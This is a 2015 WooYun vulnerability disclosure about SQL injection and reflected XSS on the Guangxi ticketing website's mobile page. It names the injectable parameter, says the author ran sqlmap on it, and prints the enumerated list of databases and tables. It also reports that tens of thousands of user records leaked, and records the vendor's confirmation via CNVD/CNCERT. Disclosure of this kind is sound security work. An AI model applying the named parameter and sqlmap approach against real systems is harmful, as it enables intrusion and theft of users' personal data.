当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152492

漏洞标题:广西票务网移动端页面存在SQL注入,XSS。数十万信息泄漏

相关厂商:广西票务网

漏洞作者: 水系cmos

提交时间:2015-11-08 20:01

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-08: 细节已通知厂商并且等待厂商处理中
2015-11-19: 厂商已经确认,细节仅向厂商公开
2015-11-29: 细节向核心白帽子及相关领域专家公开
2015-12-09: 细节向普通白帽子公开
2015-12-19: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

广西票务网在乌云已经有两个洞,然而我今天又发现了另外一处注入和XSS,但是我发现厂家是忽略状态,希望厂家重视啊~~~(幸苦没在这儿买过票 2333····

详细说明:

http://**.**.**.**/perform_qpdj2.aspx?jw=280.00&m=0.23174629407003522&vM_ycbh=*&ycsj=2015/12/29 20:00:00&_=1446744997956
参数:M_ycbh存在注入
直接丢进Sqlmap跑。

漏洞证明:

available databases [18]:
[*] card950
[*] gxpiao_jxc
[*] gxpwdb
[*] gxpwdraw02
[*] gxpwdraw03
[*] gxpwmember_lzys
[*] gxpwticket_wz
[*] hypiaodb
[*] master
[*] microeticket
[*] model
[*] msdb
[*] qitangdb
[*] tempdb
[*] testticket
[*] wagaticket
[*] weipiao_wap
[*] weipiao_web
Database: gxpwdb
[264 tables]
+----------------------------+
| AppDownInfo |
| AppFeedBack |
| AppMobileCount |
| AppMobileLogin |
| AppMobileLogin |
| AppMobilePoLogin |
| AppPrizeList |
| AppPrizeRecord |
| AppPrizeUser |
| AppWeixinLog |
| CM_CG_Fjb |
| CM_CG_FpdMx |
| CM_CG_FpdMx |
| CM_CG_SpcfMx |
| CM_CG_Spcfd |
| CM_CG_Sppc |
| CM_CG_SpzzMx |
| CM_CG_Spzzd |
| CM_CG_ddMx |
| CM_CG_ddMx |
| CM_CG_fkdMx |
| CM_CG_fkdMx |
| CM_CG_pddMx |
| CM_CG_pddMx |
| CM_CG_thdMx |
| CM_CG_thdMx |
| CM_CK_CkdMx |
| CM_CK_Ckdb |
| CM_CK_Ckdb |
| CM_CK_Rkdb |
| CM_CK_Rkdb |
| CM_CK_Yj |
| CM_CK_dbdMx |
| CM_CK_dbdMx |
| CM_CK_rkdMx |
| CM_CW_Gdzcgl |
| CM_CW_Zcd |
| CM_CW_Zjsrd |
| CM_CW_Zzd |
| CM_CW_cwkm |
| CM_Jxc_Gysfl |
| CM_Jxc_Gysxx |
| CM_Jxc_Khfl |
| CM_Jxc_Khxx |
| CM_Jxc_Spfzb |
| CM_Jxc_Splb |
| CM_Jxc_Spxx |
| CM_Jxc_Spzzb |
| CM_OA_Bwl |
| CM_OA_Skk |
| CM_OA_Ssap |
| CM_OA_Ssap |
| CM_OA_Ssfj |
| CM_OA_Txfs |
| CM_OA_Ygssb |
| CM_Qt_XS_Hyjfkj |
| CM_Qt_XS_Hykjb |
| CM_Qt_XS_Hykzl |
| CM_Qt_XS_Khda |
| CM_Qt_XS_Qtjjb |
| CM_Qt_XS_QtthMx |
| CM_Qt_XS_QtthMx |
| CM_Qt_XS_QtxsMx |
| CM_Qt_XS_Qtxsdp |
| CM_Qt_XS_Qtxsdp |
| CM_XS_FpdMx |
| CM_XS_FpdMx |
| CM_XS_KpdMx |
| CM_XS_KpdMx |
| CM_XS_xsckdMx |
| CM_XS_xsckdMx |
| CM_XS_xsddMx |
| CM_XS_xsddMx |
| CM_XS_xsskdMx |
| CM_XS_xsskdMx |
| CM_XS_xsthdMx |
| CM_XS_xsthdMx |
| CM_Xtrz |
| CM_Xtrzxm |
| CM_Yj_Gyszkye |
| CM_Yj_Khzkyj |
| CM_ZtManagement |
| D99_CMD |
| D99_REG |
| D99_Tmp |
| JC_Airport |
| Jb_Rygw |
| Jc_Bm |
| Jc_Button |
| Jc_Ck |
| Jc_Dw |
| Jc_Dy_CK_Bm |
| Jc_Dy_Menu_Button |
| Jc_Dy_Role_System |
| Jc_Dy_Users_Gw |
| Jc_Dy_Users_Role |
| Jc_GnWeb |
| Jc_Jmgxx |
| Jc_Kjqj |
| Jc_Mj |
| Jc_Role |
| Jc_Ryda |
| Jc_Rygwb |
| Jc_SystemMenu |
| Jc_SystemMenu |
| Jc_Users |
| Jc_Xtcs |
| Jc_YhGzzm |
| Jc_YhZc |
| Jc_airtype |
| M_Advertis |
| M_AdvertisType |
| M_AgenPrice |
| M_ApplyDetailTable |
| M_ApplyTable |
| M_Area |
| M_Cuxiao |
| M_Ddlczt_bak |
| M_Ddlczt_bak |
| M_Ddzt |
| M_Fapiao |
| M_Fenxiao_Mb_Mx |
| M_Fenxiao_Mb_Mx |
| M_Fenxiao_log |
| M_Fenxiao_sjjg |
| M_Flight |
| M_HomePageCfg_UnWork2 |
| M_HomePageCfg_UnWork2 |
| M_HomePageCfg_Working2 |
| M_HomePageCfg_Working2 |
| M_HotelInfo_JD_Mx |
| M_HotelInfo_JD_Mx |
| M_HotelInfo_JD_Mx |
| M_HotelInfo_Mx |
| M_Integral |
| M_Member_bank |
| M_Member_bank |
| M_Menpiao_Mx |
| M_Menpiao_hd |
| M_Menpiao_hd |
| M_MovieSite |
| M_MovieTime |
| M_Movie_Mx |
| M_Movie_Mx |
| M_Perform_Config |
| M_Perform_cc |
| M_Perform_cc |
| M_Perfrom_JD_MX |
| M_Perfrom_JD_MX |
| M_Perfrom_jw |
| M_Perfrom_yccg |
| M_Psfs |
| M_QA |
| M_RedirectPage |
| M_SecondBuy |
| M_Spdz |
| M_Splike |
| M_Substation |
| M_UserCollect |
| M_Voucher_MX |
| M_Voucher_MX |
| M_Xianlu_hd |
| M_Zcsx |
| M_about |
| M_airline_JD_Mx |
| M_airline_JD_Mx |
| M_airline_JD_PNR |
| M_airline_Xx |
| M_codeMachine |
| M_codeMachine |
| M_dianzipiao_Mx |
| M_dianzipiao_Mx |
| M_hotSearch |
| M_inMoney |
| M_member_moneyCash |
| M_member_moneyCash |
| M_member_value |
| M_menpiao_JD2 |
| M_menpiao_JD_Mx2 |
| M_menpiao_JD_Mx2 |
| M_menpiao_JD_Mx2 |
| M_merchant_group |
| M_merchant_group |
| M_merchant_user |
| M_message |
| M_mooncake_Dst |
| M_mooncake_Dst |
| M_mooncake_FL |
| M_mooncake_JD_MX |
| M_mooncake_JD_MX |
| M_movieTicket_JD_Mx |
| M_movieTicket_JD_Mx |
| M_movieTicket_JD_Mx |
| M_project |
| M_qpdj |
| M_subject |
| M_telList |
| M_xianlu_JD_Mx |
| M_xianlu_JD_Mx |
| M_xianlu_Mx |
| M_xianlu_back |
| M_xianlu_back |
| M_ycyd |
| NFCUser |
| N_HireInfo |
| N_News |
| SMS_MO_meeting |
| SMS_MO_meeting |
| SMS_Verifi_reply |
| SMS_Verifi_reply |
| SMS_Verifi_txt |
| SMS_meeting |
| SMS_meeting |
| Sys_Table_No |
| UV_CM_CG_dd |
| UV_CM_CG_rkd |
| UV_CM_GnQx |
| UV_Fenxiao_MX |
| UV_GXPW_Pay |
| UV_Jc_Users |
| UV_Menu_Button |
| UV_Moon_Pay |
| UV_MovieTicket_JD |
| UV_MovieTicket_Time |
| UV_Order_recycling |
| UV_Perform_Phone |
| UV_Perfrom_jd_fenxiao |
| UV_Perfrom_jd_fenxiao |
| UV_Ry |
| UV_Splb_Spxx |
| UV_Spxx_Spfzb |
| UV_User_Orders |
| UV_User_menpiao |
| UV_User_xianlu |
| UV_Users_Role |
| UV_airticket_caiwu |
| UV_airticket_caiwu |
| UV_menpiao_JD_Count_report |
| UV_menpiao_JD_report |
| UV_menpiao_jd_fenxiao |
| UV_message |
| UV_perform_All |
| UV_perform_cg |
| UV_perfrom_jd_MX |
| UV_user_mooncake |
| UV_user_qpdj |
| UV_xianlu_JD_report |
| View_1 |
| View_2 |
| View_3 |
| View_4 |
| View_5 |
| View_6 |
| View_ycmc |
| W_JingDian_OnlineCfg |
| W_SUBSTATION_CFG |
| W_SubStation_Pos |
| YoungTb |
| audit_table |
| buser |
| errCode |
| m_JD_number |
| pangolin_test_table |
| vM_menpiao_hd |
+----------------------------+
信息泄漏:

2万多用户信息泄漏.jpg


大量数据.jpg


门票信息.jpg


反射型XSS:

全站多处XSS.jpg


修复方案:

过滤

版权声明:转载请注明来源 水系cmos@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-11-19 18:26

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给广西分中心,由广西分中心后续协调网站管理单位处置。

最新状态:

暂无